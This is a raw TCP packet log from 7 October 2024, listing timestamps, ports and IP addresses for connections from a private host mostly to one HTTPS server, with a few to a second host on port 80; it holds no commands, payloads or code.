Oct 7, 2024 03:23:38.304344893 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.304506063 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.304517031 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.345720053 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.346117020 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.346139908 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.346535921 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.346548080 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.351169109 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.351521015 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.351582050 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.351986885 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.352041960 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.385334969 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.385387897 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.385509014 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.385550976 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.385590076 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.385628939 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.385658979 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.385685921 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.385699987 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.388187885 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.388219118 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.388402939 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.388537884 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.388554096 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.389302015 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.389317989 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.389439106 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.389460087 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.389492989 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.389652014 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.389652014 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.389686108 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.389710903 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.391886950 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.391896009 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.391968012 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.392108917 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.392119884 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.452744007 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.452887058 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.452953100 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.453001022 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.453001976 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.453028917 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.453049898 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.455528975 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.455562115 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.455650091 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.455780983 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.455909014 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.455952883 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.455965996 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.455977917 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.456089020 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.456089973 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.456130981 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.456157923 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.458046913 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.458131075 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.458213091 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.458357096 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.458386898 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.610842943 CEST	61145	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:38.611001968 CEST	61161	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:38.615833044 CEST	80	61161	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:38.615915060 CEST	61161	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:38.615997076 CEST	80	61145	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:38.616050005 CEST	61161	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:38.616074085 CEST	61145	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:38.620842934 CEST	80	61161	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:38.954623938 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.955128908 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.955163002 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.955826998 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.955835104 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.023092031 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.024610996 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.076925039 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.076955080 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.077332020 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.077339888 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.077686071 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.077702999 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.078128099 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.078135014 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.132834911 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.132944107 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.135457039 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.135482073 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.141060114 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.141067028 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.144079924 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.144139051 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.146944046 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.146960974 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.156625986 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.156790018 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.156863928 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.158437014 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.158453941 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.158467054 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.158473969 CEST	443	61156	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.172138929 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.172203064 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.172276020 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.173052073 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.173072100 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.173085928 CEST	61157	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.173094034 CEST	443	61157	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.173098087 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.173120022 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.173156977 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.173182964 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.173213005 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.184278965 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.184286118 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.184319019 CEST	61158	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.184324980 CEST	443	61158	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.233647108 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.233683109 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.233875990 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.234689951 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.234714031 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.234788895 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.234896898 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.234920025 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.240338087 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.240392923 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.240458012 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.240472078 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.240792990 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.240853071 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.240942955 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.240952969 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.240976095 CEST	61159	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.240982056 CEST	443	61159	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.244898081 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.244915009 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.244971991 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.245210886 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.245223045 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.245460033 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.245486975 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.248684883 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.248714924 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.248773098 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.248956919 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.248970985 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.310273886 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.310329914 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.310369968 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.310399055 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.310436964 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.310472965 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.310496092 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.315959930 CEST	80	61161	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:39.316037893 CEST	61161	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:39.396028042 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.396156073 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.396173000 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.396250010 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.396250010 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.396250010 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.396301985 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.399995089 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.400036097 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.400098085 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.400312901 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.400326967 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.703176975 CEST	61160	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.703228951 CEST	443	61160	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.875902891 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.876023054 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.878631115 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.878640890 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.879307032 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.879312038 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.879714012 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.879733086 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.880132914 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.880145073 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.907290936 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.910569906 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.910593987 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.910991907 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.911000013 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.912746906 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.913044930 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.913070917 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.913471937 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.913476944 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.977777958 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.977828026 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.977893114 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.977905989 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.977963924 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.978013992 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.979406118 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.979422092 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.979476929 CEST	61162	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.979485989 CEST	443	61162	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.982182026 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.982199907 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.982269049 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.982429028 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.982439041 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.985130072 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.985162973 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.985188007 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.985219002 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.985248089 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:39.985315084 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:39.985315084 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.012413979 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.012455940 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.012512922 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.012541056 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.012557030 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.012649059 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.012655020 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.012665033 CEST	61164	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.012669086 CEST	443	61164	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.015125990 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.015155077 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.015237093 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.015373945 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.015396118 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.018807888 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.018865108 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.018928051 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.018944025 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.019059896 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.019099951 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.019099951 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.019120932 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.019134998 CEST	61165	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.019140005 CEST	443	61165	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.021126986 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.021171093 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.021239042 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.021377087 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.021434069 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.067616940 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.067624092 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.067661047 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.067711115 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.067842007 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.067842007 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.068022013 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.068038940 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.068178892 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.068178892 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.068178892 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.068451881 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.068455935 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.070214987 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.070231915 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.070293903 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.070405960 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.070416927 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.169711113 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.169847012 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.170032024 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.170062065 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.170077085 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.170088053 CEST	61166	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.170093060 CEST	443	61166	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.172434092 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.172457933 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.172518015 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.172633886 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.172640085 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.375195026 CEST	61163	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.375257969 CEST	443	61163	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.629952908 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.630399942 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.630417109 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.630857944 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.630866051 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.661307096 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.661766052 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.661784887 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.662321091 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.662348986 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.666433096 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.668989897 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.669008970 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.669401884 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.669405937 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.716167927 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.716967106 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.716976881 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.717344046 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.717348099 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.728714943 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.728857040 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.728944063 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.729109049 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.729120970 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.729130030 CEST	61167	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.729132891 CEST	443	61167	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.731539965 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.731622934 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.731719017 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.731848955 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.731869936 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.761177063 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.761321068 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.761399984 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.761543036 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.761559010 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.761571884 CEST	61168	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.761578083 CEST	443	61168	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.763567924 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.763617992 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.763708115 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.763828039 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.763850927 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.769171000 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.769294977 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.769367933 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.769521952 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.769546986 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.769560099 CEST	61169	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.769566059 CEST	443	61169	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.771332026 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.771358967 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.771445036 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.771555901 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.771579981 CEST	443	61174	13.107.246.45	192.168.2.4
